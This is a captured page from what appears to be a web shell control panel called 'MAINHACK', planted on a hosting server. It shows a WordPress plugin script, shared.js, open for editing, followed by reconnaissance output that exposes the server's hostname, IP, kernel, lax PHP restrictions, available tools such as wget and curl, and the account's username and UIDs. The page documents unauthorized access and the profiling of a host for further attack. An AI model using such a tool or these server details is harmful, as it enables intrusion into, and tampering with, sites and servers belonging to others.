[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: shared.js
import { subscribe } from '@wordpress/data'; import { preFetchImages as preFetchUnsplashImages } from '@shared/lib/unsplash'; import '@draft/app.css'; const isOnLaunch = () => { const query = new URLSearchParams(window.location.search); return query.get('page') === 'extendify-launch'; }; (() => { // Disable the page editor welcome guide always (they can manually open it) const key = `WP_PREFERENCES_USER_${window.extSharedData.userId}`; const existing = window.localStorage.getItem(key) || '{}'; window.localStorage.setItem( key, JSON.stringify({ ...JSON.parse(existing), 'core/edit-post': { ...(JSON.parse(existing)?.['core/edit-post'] ?? {}), welcomeGuide: false, }, }), ); if (isOnLaunch()) return; preFetchUnsplashImages(); // TODO: If this PR is released in WP (6.7?), then we can use the localstorage // approach that we use above for the welcome guide // https://github.com/WordPress/gutenberg/pull/65026 // If the pattern modal shows up within 3 seconds, close it const modalClass = '.editor-start-page-options__modal-content'; const modalCloseButton = '.components-modal__header > .components-button'; // Add CSS to hide the modal initially (avoid content paint flash) const style = document.createElement('style'); style.innerHTML = '.components-modal__screen-overlay { display: none!important }'; document.head.appendChild(style); const unsub = subscribe(() => { const modal = document.querySelector(modalClass); if (!modal) return; modal.style.display = ''; // Temp show to click it document.querySelector(modalCloseButton)?.click(); }); setTimeout(() => { // Remove the CSS rule always document.head.removeChild(style); unsub(); }, 3000); })();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.25 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624